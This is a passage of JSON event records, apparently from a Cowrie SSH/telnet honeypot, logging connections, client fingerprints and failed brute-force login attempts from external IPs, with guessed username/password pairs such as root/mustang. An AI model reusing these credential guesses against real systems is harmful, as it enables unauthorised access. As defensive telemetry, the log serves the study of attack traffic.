16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:02.753883Z","src_ip":"94.159.98.239","session":"8611978be4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32830,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92ad739ba79","protocol":"telnet","message":"New connection: 192.119.13.58:32830 (10.17.0.5:23) [session: e92ad739ba79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:02.894300Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567892","message":"login attempt [root/1234567892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:03.262099Z","src_ip":"94.159.98.239","session":"8611978be4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:04.431298Z","src_ip":"94.159.98.239","session":"8611978be4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.471314668655396,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:04.474598Z","src_ip":"192.119.13.58","session":"dbac5a467d5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":2652,"dst_ip":"10.17.0.5","dst_port":22,"session":"c87fa55cb3eb","protocol":"ssh","message":"New connection: 201.249.192.30:2652 (10.17.0.5:22) [session: c87fa55cb3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:05.263751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:05.271399Z","src_ip":"201.249.192.30","session":"c87fa55cb3eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:05.354902Z","src_ip":"201.249.192.30","session":"c87fa55cb3eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mido","message":"login attempt [root/mido] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:05.959513Z","src_ip":"201.249.192.30","session":"c87fa55cb3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47012,"dst_ip":"10.17.0.5","dst_port":23,"session":"f661056e6791","protocol":"telnet","message":"New connection: 192.119.13.58:47012 (10.17.0.5:23) [session: f661056e6791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:06.340571Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:07.037474Z","src_ip":"201.249.192.30","session":"c87fa55cb3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52072,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc4a0f03bb30","protocol":"telnet","message":"New connection: 192.119.13.58:52072 (10.17.0.5:23) [session: fc4a0f03bb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:07.597154Z"}
{"eventid":"cowrie.session.closed","duration":40.55760836601257,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:08.696301Z","src_ip":"192.119.13.58","session":"16b1f1885013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57844,"dst_ip":"10.17.0.5","dst_port":23,"session":"149479f0de11","protocol":"telnet","message":"New connection: 192.119.13.58:57844 (10.17.0.5:23) [session: 149479f0de11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:09.056427Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58782,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3283bcfd25a","protocol":"telnet","message":"New connection: 192.119.13.58:58782 (10.17.0.5:23) [session: e3283bcfd25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:09.316435Z"}
{"eventid":"cowrie.session.closed","duration":1.8605704307556152,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:10.916834Z","src_ip":"192.119.13.58","session":"149479f0de11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":37874,"dst_ip":"10.17.0.5","dst_port":22,"session":"069c01a366ea","protocol":"ssh","message":"New connection: 49.51.73.108:37874 (10.17.0.5:22) [session: 069c01a366ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:10.954042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:10.959598Z","src_ip":"49.51.73.108","session":"069c01a366ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:11.089059Z","src_ip":"49.51.73.108","session":"069c01a366ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Azure","password":"YuLiShoping123...","message":"login attempt [Azure/YuLiShoping123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:11.636398Z","src_ip":"49.51.73.108","session":"069c01a366ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:12.758665Z","src_ip":"49.51.73.108","session":"069c01a366ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.4770565032959,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:13.677936Z","src_ip":"192.119.13.58","session":"9ea7bd6ef761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52486,"dst_ip":"10.17.0.5","dst_port":23,"session":"5661b85ffaff","protocol":"telnet","message":"New connection: 192.119.13.58:52486 (10.17.0.5:23) [session: 5661b85ffaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:14.694436Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55324,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f92cf91d494","protocol":"telnet","message":"New connection: 192.119.13.58:55324 (10.17.0.5:23) [session: 6f92cf91d494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:15.397726Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57546,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ad84fe78c4b","protocol":"telnet","message":"New connection: 192.119.13.58:57546 (10.17.0.5:23) [session: 3ad84fe78c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:15.949874Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":47138,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d501bec42bd","protocol":"ssh","message":"New connection: 103.75.183.219:47138 (159.203.135.109:22) [session: 4d501bec42bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:17.686043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:17.691771Z","src_ip":"103.75.183.219","session":"4d501bec42bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:17.941048Z","src_ip":"103.75.183.219","session":"4d501bec42bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321a","message":"login attempt [root/987654321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:18.684230Z","src_ip":"103.75.183.219","session":"4d501bec42bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44184,"dst_ip":"10.17.0.5","dst_port":23,"session":"59eda141381d","protocol":"telnet","message":"New connection: 192.119.13.58:44184 (10.17.0.5:23) [session: 59eda141381d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:19.590150Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:19.952954Z","src_ip":"103.75.183.219","session":"4d501bec42bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41944,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f47a0ee9b6a","protocol":"telnet","message":"New connection: 192.119.13.58:41944 (10.17.0.5:23) [session: 7f47a0ee9b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:20.114768Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54606,"dst_ip":"10.17.0.5","dst_port":23,"session":"619c1530393a","protocol":"telnet","message":"New connection: 192.119.13.58:54606 (10.17.0.5:23) [session: 619c1530393a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:23.186402Z"}
{"eventid":"cowrie.session.closed","duration":39.28361797332764,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:26.391249Z","src_ip":"192.119.13.58","session":"8720bb696768","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825356483459473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:26.639149Z","src_ip":"192.119.13.58","session":"421c86786cea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.42819285392761,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:27.483269Z","src_ip":"192.119.13.58","session":"141552a1b65b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51010,"dst_ip":"10.17.0.5","dst_port":23,"session":"39473733fedf","protocol":"telnet","message":"New connection: 192.119.13.58:51010 (10.17.0.5:23) [session: 39473733fedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:28.041134Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54714,"dst_ip":"10.17.0.5","dst_port":23,"session":"9879de1a0be5","protocol":"telnet","message":"New connection: 192.119.13.58:54714 (10.17.0.5:23) [session: 9879de1a0be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:28.983912Z"}
{"eventid":"cowrie.session.closed","duration":54.77597999572754,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:29.299068Z","src_ip":"192.119.13.58","session":"953e3179abb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57366,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee3e2bc81f91","protocol":"telnet","message":"New connection: 192.119.13.58:57366 (10.17.0.5:23) [session: ee3e2bc81f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:29.667119Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34142,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6b8a88f64c6","protocol":"telnet","message":"New connection: 192.119.13.58:34142 (10.17.0.5:23) [session: e6b8a88f64c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:30.866348Z"}
{"eventid":"cowrie.session.closed","duration":5.955577850341797,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:33.996602Z","src_ip":"192.119.13.58","session":"39473733fedf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.74266481399536,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:35.728567Z","src_ip":"192.119.13.58","session":"c9b790b47685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59020,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3d4a7dd2e8","protocol":"telnet","message":"New connection: 192.119.13.58:59020 (10.17.0.5:23) [session: 4a3d4a7dd2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:37.909423Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39602,"dst_ip":"10.17.0.5","dst_port":23,"session":"0419674e5aa1","protocol":"telnet","message":"New connection: 192.119.13.58:39602 (10.17.0.5:23) [session: 0419674e5aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:39.034303Z"}
{"eventid":"cowrie.session.closed","duration":40.81909155845642,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:39.214974Z","src_ip":"192.119.13.58","session":"690521b97b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40886,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2cc795d153d","protocol":"telnet","message":"New connection: 192.119.13.58:40886 (10.17.0.5:23) [session: e2cc795d153d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:39.360407Z"}
{"eventid":"cowrie.session.closed","duration":32.1435821056366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:41.459875Z","src_ip":"192.119.13.58","session":"e3283bcfd25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":48864,"dst_ip":"10.17.0.5","dst_port":22,"session":"604a936d973b","protocol":"ssh","message":"New connection: 115.68.226.124:48864 (10.17.0.5:22) [session: 604a936d973b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:42.121426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:42.128252Z","src_ip":"115.68.226.124","session":"604a936d973b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:42.323728Z","src_ip":"115.68.226.124","session":"604a936d973b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustang","message":"login attempt [root/mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:43.162952Z","src_ip":"115.68.226.124","session":"604a936d973b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:44.362357Z","src_ip":"115.68.226.124","session":"604a936d973b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.21008086204529,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:45.104234Z","src_ip":"192.119.13.58","session":"e92ad739ba79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":49316,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eff81d1454b","protocol":"ssh","message":"New connection: 103.164.9.74:49316 (10.17.0.5:22) [session: 0eff81d1454b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:45.442125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:45.446768Z","src_ip":"103.164.9.74","session":"0eff81d1454b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:45.644222Z","src_ip":"103.164.9.74","session":"0eff81d1454b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39688,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bcc1f7e89f5","protocol":"telnet","message":"New connection: 192.119.13.58:39688 (10.17.0.5:23) [session: 1bcc1f7e89f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:45.998277Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"musicbot","message":"login attempt [root/musicbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:46.461661Z","src_ip":"103.164.9.74","session":"0eff81d1454b","protocol":"ssh"}
